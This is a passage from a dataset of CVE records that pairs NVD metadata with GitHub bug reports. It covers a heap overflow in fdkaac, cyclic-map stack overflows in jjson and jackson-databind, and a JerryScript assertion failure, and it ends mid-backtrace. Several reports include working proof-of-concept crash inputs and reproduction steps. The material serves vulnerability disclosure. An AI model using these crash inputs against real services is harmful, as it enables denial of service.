==1664==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7efdfca69f00 at pc 0x00000047bf2c bp 0x7ffd4096cfe0 sp 0x7ffd4096c790
READ of size 27 at 0x7efdfca69f00 thread T0
#0 0x47bf2b in __interceptor_strlen.part.34 /home/ferry/Documents/llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:375
#1 0x4f9d94 in caf_info /home/ferry/hwz/zeroday/fdkaac/src/caf_reader.c:116:19
#2 0x4f88f2 in caf_parse /home/ferry/hwz/zeroday/fdkaac/src/caf_reader.c:191:13
#3 0x4f88f2 in caf_open /home/ferry/hwz/zeroday/fdkaac/src/caf_reader.c:234:9
#4 0x541f4f in open_input /home/ferry/hwz/zeroday/fdkaac/src/main.c:754:27
#5 0x541f4f in main /home/ferry/hwz/zeroday/fdkaac/src/main.c:802:19
#6 0x7efdfb80883f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291
#7 0x41b8a8 in _start (/home/ferry/hwz/zeroday/bin/fdkaac-asan/fdkaac+0x41b8a8)
0x7efdfca69f00 is located 0 bytes to the right of 132864-byte region [0x7efdfca49800,0x7efdfca69f00)
allocated by thread T0 here:
#0 0x4aeca2 in malloc /home/ferry/Documents/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x4f9cb1 in caf_info /home/ferry/hwz/zeroday/fdkaac/src/caf_reader.c:109:34
#2 0x4f88f2 in caf_parse /home/ferry/hwz/zeroday/fdkaac/src/caf_reader.c:191:13
#3 0x4f88f2 in caf_open /home/ferry/hwz/zeroday/fdkaac/src/caf_reader.c:234:9
#4 0x541f4f in open_input /home/ferry/hwz/zeroday/fdkaac/src/main.c:754:27
#5 0x541f4f in main /home/ferry/hwz/zeroday/fdkaac/src/main.c:802:19
#6 0x7efdfb80883f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ferry/Documents/llvm-project/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:375 in __interceptor_strlen.part.34
Shadow bytes around the buggy address:
0x0fe03f945390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe03f9453a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe03f9453b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe03f9453c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe03f9453d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe03f9453e0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe03f9453f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe03f945400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe03f945410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe03f945420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe03f945430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1664==ABORTING
```
I also found a stack-buffer-overflow in fdkaac, src/main.c:81, read_callback(). Here is the ASAN output.
```
=================================================================
==30393==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc7d3cc380 at pc 0x0000004372a8 bp 0x7ffc7d3ca330 sp 0x7ffc7d3c9ae0
WRITE of size 19584 at 0x7ffc7d3cc380 thread T0
==30393==WARNING: Can't read from symbolizer at fd 4
==30393==WARNING: Can't read from symbolizer at fd 4
==30393==WARNING: Can't read from symbolizer at fd 4
==30393==WARNING: Can't read from symbolizer at fd 4
==30393==WARNING: Failed to use and restart external symbolizer!
#0 0x4372a7 (/home/ferry/hwz/zeroday/bin/fdkaac-asan/fdkaac+0x4372a7)
#1 0x547356 (/home/ferry/hwz/zeroday/bin/fdkaac-asan/fdkaac+0x547356)
#2 0x568879 (/home/ferry/hwz/zeroday/bin/fdkaac-asan/fdkaac+0x568879)
Address 0x7ffc7d3cc380 is located in stack of thread T0 at offset 8224 in frame
#0 0x5685bf (/home/ferry/hwz/zeroday/bin/fdkaac-asan/fdkaac+0x5685bf)
This frame has 1 object(s):
[32, 8224) 'buff' (line 57) <== Memory access at offset 8224 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/ferry/hwz/zeroday/bin/fdkaac-asan/fdkaac+0x4372a7)
Shadow bytes around the buggy address:
0x10000fa71820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000fa71830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000fa71840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000fa71850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000fa71860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10000fa71870:[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x10000fa71880: f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x10000fa71890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10000fa718a0: 00 00 00 00 f1 f1 f1 f1 f8 f2 f2 f2 f8 f2 f8 f2
0x10000fa718b0: f8 f2 f8 f2 f8 f2 f8 f2 f8 f2 04 f2 00 f3 f3 f3
0x10000fa718c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==30393==ABORTING
```
### Crash input
https://github.com/17ssDP/fuzzer_crashes/blob/main/fdkaac
### Validation steps
git clone https://github.com/nu774/fdkaac
cd fdkaac/
autoreconf -i
CC=clang CXX=clang++ CFLAGS="$CFLAGS -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CXXFLAGS -fsanitize=address -fno-omit-frame-pointer" ./configure
make
./fdkaac -p5 -b64 fdkaac-hbo -o /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5 | Heap-buffer-overflow found in fdkaac | https://api.github.com/repos/nu774/fdkaac/issues/55/comments | 1 | 2023-02-15T04:08:12Z | 2023-02-15T11:58:59Z | https://github.com/nu774/fdkaac/issues/55 | 1,585,185,874 | 55 | 5,262 |
CVE-2023-35110 | 2023-06-14T14:15:10.920 | An issue was discovered jjson thru 0.1.7 allows attackers to cause a denial of service or other unspecified impacts via crafted object that uses cyclic dependencies. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/grobmeier/jjson/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/grobmeier/jjson/issues/2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jjson_project:jjson:*:*:*:*:*:*:*:*",
"matchCriteriaId": "110AAF0C-AF40-41D1-AF6B-84402EA25913",
"versionEndExcluding": null,
"versionEndIncluding": "0.1.7",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/grobmeier/jjson/issues/2 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"grobmeier",
"jjson"
] | # Stack overflow error caused by jjson serialization Map
## Description
jjson before v0.1.7 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at de.grobmeier.jjson.shaded.org.apache.commons.lang3.text.translate.AggregateTranslator.translate(AggregateTranslator.java:52)
at de.grobmeier.jjson.shaded.org.apache.commons.lang3.text.translate.AggregateTranslator.translate(AggregateTranslator.java:52)
at de.grobmeier.jjson.shaded.org.apache.commons.lang3.text.translate.CharSequenceTranslator.translate(CharSequenceTranslator.java:87)
at de.grobmeier.jjson.shaded.org.apache.commons.lang3.text.translate.CharSequenceTranslator.translate(CharSequenceTranslator.java:61)
at de.grobmeier.jjson.shaded.org.apache.commons.lang3.StringEscapeUtils.escapeJava(StringEscapeUtils.java:456)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeString(JSONAnnotationEncoder.java:286)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:149)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encode(JSONAnnotationEncoder.java:101)
at de.grobmeier.jjson.convert.JSONAnnotationEncoder.encodeMap(JSONAnnotationEncoder.java:151)
```
## PoC
```xml
<dependency>
<groupId>de.grobmeier.json</groupId>
<artifactId>jjson</artifactId>
<version>0.1.7</version>
</dependency>
```
```java
import de.grobmeier.jjson.JSONException;
import de.grobmeier.jjson.convert.JSONAnnotationEncoder;
import java.util.HashMap;
public class PoC2 {
public static void main(String[] args) throws JSONException {
HashMap<String,Object> map=new HashMap<>();
map.put("t",map);
JSONAnnotationEncoder jsonAnnotationEncoder = new JSONAnnotationEncoder();
jsonAnnotationEncoder.encode(map);
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
## References
1. https://github.com/jettison-json/jettison/issues/52
2. https://github.com/jettison-json/jettison/pull/53/files | Stack overflow error caused by jjson serialization Map | https://api.github.com/repos/grobmeier/jjson/issues/2/comments | 0 | 2023-06-08T07:38:31Z | 2023-06-08T07:38:31Z | https://github.com/grobmeier/jjson/issues/2 | 1,747,283,988 | 2 | 5,263 |
CVE-2023-35116 | 2023-06-14T14:15:10.960 | jackson-databind through 2.15.2 allows attackers to cause a denial of service or other unspecified impact via a crafted object that uses cyclic dependencies. NOTE: the vendor's perspective is that this is not a valid vulnerability report, because the steps of constructing a cyclic data structure and trying to serialize it cannot be achieved by an external attacker. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/3972"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/FasterXML/jackson-databind/issues/3972"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*",
"matchCriteriaId": "ADC74502-D1EA-4E63-BBFF-8DE51013DCCE",
"versionEndExcluding": "2.16.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"770"
] | 770 | https://github.com/FasterXML/jackson-databind/issues/3972 | [
"Issue Tracking"
] | github.com | [
"FasterXML",
"jackson-databind"
] | # Stack overflow error caused by jackson serialization Map
## Description
jackson before v2.15.2 was discovered to contain a stack overflow via the map parameter.
## Error Log
```
Exception in thread "main" java.lang.StackOverflowError
at java.base/java.lang.String.startsWith(String.java:1470)
at com.fasterxml.jackson.databind.util.ClassUtil.isJDKClass(ClassUtil.java:1163)
at com.fasterxml.jackson.databind.introspect.BasicClassIntrospector._findStdTypeDesc(BasicClassIntrospector.java:258)
at com.fasterxml.jackson.databind.introspect.BasicClassIntrospector.forSerialization(BasicClassIntrospector.java:80)
at com.fasterxml.jackson.databind.introspect.BasicClassIntrospector.forSerialization(BasicClassIntrospector.java:11)
at com.fasterxml.jackson.databind.SerializationConfig.introspect(SerializationConfig.java:906)
at com.fasterxml.jackson.databind.ser.BasicSerializerFactory.createKeySerializer(BasicSerializerFactory.java:210)
at com.fasterxml.jackson.databind.SerializerProvider.findKeySerializer(SerializerProvider.java:915)
at com.fasterxml.jackson.databind.SerializerProvider.findKeySerializer(SerializerProvider.java:926)
at com.fasterxml.jackson.databind.ser.impl.PropertySerializerMap.findAndAddKeySerializer(PropertySerializerMap.java:144)
at com.fasterxml.jackson.databind.ser.std.StdKeySerializers$Dynamic._findAndAddDynamic(StdKeySerializers.java:284)
at com.fasterxml.jackson.databind.ser.std.StdKeySerializers$Dynamic.serialize(StdKeySerializers.java:262)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:797)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeWithoutTypeInfo(MapSerializer.java:764)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:720)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serialize(MapSerializer.java:35)
at com.fasterxml.jackson.databind.ser.std.MapSerializer.serializeFields(MapSerializer.java:808)
```
## PoC
```xml
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.15.2</version>
</dependency>
```
```java
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.HashMap;
public class PoC2 {
public static void main(String[] args) {
HashMap<String,Object> map=new HashMap<>();
map.put("t",map);
ObjectMapper objectMapper = new ObjectMapper();
try {
String jsonString = objectMapper.writeValueAsString(map);
System.out.println(jsonString);
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
}
```
## Rectification Solution
1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)
2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))
## References
1. https://github.com/jettison-json/jettison/issues/52
2. https://github.com/jettison-json/jettison/pull/53/files | Stack overflow error caused by serialization of `Map` with cyclic dependency -- NOT CVE | https://api.github.com/repos/FasterXML/jackson-databind/issues/3972/comments | 76 | 2023-06-09T07:25:44Z | 2023-11-16T01:29:27Z | https://github.com/FasterXML/jackson-databind/issues/3972 | 1,749,290,478 | 3,972 | 5,264 |
CVE-2023-34867 | 2023-06-14T16:15:20.277 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_property_hashmap_create at jerry-core/ecma/base/ecma-property-hashmap.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5084"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5084"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"617"
] | 617 | https://github.com/jerryscript-project/jerryscript/issues/5084 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```javascript
var r = function ( func0 , a ) {
for ( var v in a || { } ) {
r [ v ] = a [ v ] ;
} return r ;
} ;
var a = [ ] ;
for ( var v = 0 ; v < 256 ; v ++ ) {
var n = Object . create ( null ) ;
a . push ( n , a ) ;
n . v = 1 ;
n . o = 1 ;
n = new WeakSet ( a ) ;
n . t = 1 ;
n . o = 1 ;
}
n . i = 1 ;
if ( ! a ) throw new Test262Error ( " out " ) ;
n . O = 1 ;
n . m = 1 ;
n = JSON . stringify ( JSON . stringify ( n , a ) ) ;
if ( r . deref != 1 ) throw new Test262Error ( " digit " ) ;
n . h = 1 ;
n . T = 1 ;
n . U = 1 ;
n . g = 1 ;
n . j = 1 ;
n . k = 1 ;
n . m = 1 ;
n . p = 1 ;
n . q = 1 ;
n . A = 1 ;
n . B = 1 ;
n . as = 1 ;
n . C = 1 ;
n . A = 1 ;
n . q = 0.1 ;
n . D = 1 ;
n . F = 1 ;
n . G = 1 ;
n . ax = 1 ;
n . ax = 1 ;
n . H = 1 ;
n . I = 1 ;
n . J = 1 ;
n . K = 1 ;
n . L = 1 ;
n . M = 1 ;
n . N = 1 ;
var o = Object . create ( n ) ;
var f = r ( { } , o ) ;
for ( var t in f ) {
if ( f [ t ] !== f [ " " ] ) {
if ( f [ t ] !== f [ " " + t ] ) {
throw new Error ( " OUT " ) ;
}
}
}
```
</p>
</details>
```javascript
// poc.js
var a = [ ] ;
for ( var v = 0 ; v < 256 ; v ++ ) {
var n = Object . create ( null ) ;
a . push ( n , a ) ;
n = new WeakSet ( a ) ;
n . o = 1 ;
}
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)' failed at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c(ecma_property_hashmap_create):146.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
###### Backtrace
```
(gdb) bt
#0 0xf7fcfd99 in __kernel_vsyscall ()
#1 0xf7ca4276 in raise () from /lib32/libc.so.6
#2 0xf7c8c3f7 in abort () from /lib32/libc.so.6
#3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-port/common/jerry-port-process.c:29
#4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:63
#5 0x08260d64 in jerry_assert_fail (assertion=0x8418d00 <str> "ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)",
file=0x8418d60 <str> "./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c", function=0x8418de0 <__func__.ecma_property_hashmap_create> "ecma_property_hashmap_create",
line=146) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:83
#6 0x081a3e63 in ecma_property_hashmap_create (object_p=0xf5500880) at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:146
#7 0x081a4342 in ecma_property_hashmap_insert (object_p=0xf5500880, name_p=0x3815, property_pair_p=0xf2d1a140, property_index=0)
at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:236
#8 0x08189d0a in ecma_create_property (object_p=<optimized out>, name_p=<optimized out>, type_and_flags=<optimized out>, value=..., out_prop_p=<optimized out>)
at ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:448
#9 0x0818836a in ecma_create_named_data_property (object_p=0xf5500880, name_p=0x3815, prop_attributes=7 '\a', out_prop_p=0x0)
at ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:536
#10 0x08217e4e in ecma_op_object_put_apply_receiver (receiver=<optimized out>, property_name_p=<optimized out>, value=<optimized out>, is_throw=<optimized out>)
at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1241
#11 0x08216a71 in ecma_op_object_put_with_receiver (object_p=<optimized out>, property_name_p=<optimized out>, value=<optimized out>, receiver=<optimized out>, is_throw=<optimized out>)
at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1595
#12 0x08214f3a in ecma_op_object_put (object_p=0xf5500880, property_name_p=0x3815, value=<optimized out>, is_throw=<optimized out>)
at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1143
#13 ecma_op_object_put_by_index (object_p=0xf5500880, index=448, value=4117759059, is_throw=<optimized out>) at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1109
#14 0x0830d9b1 in ecma_builtin_array_prototype_object_push (argument_list_p=<optimized out>, arguments_number=2, obj_p=0xf5500880, length=448)
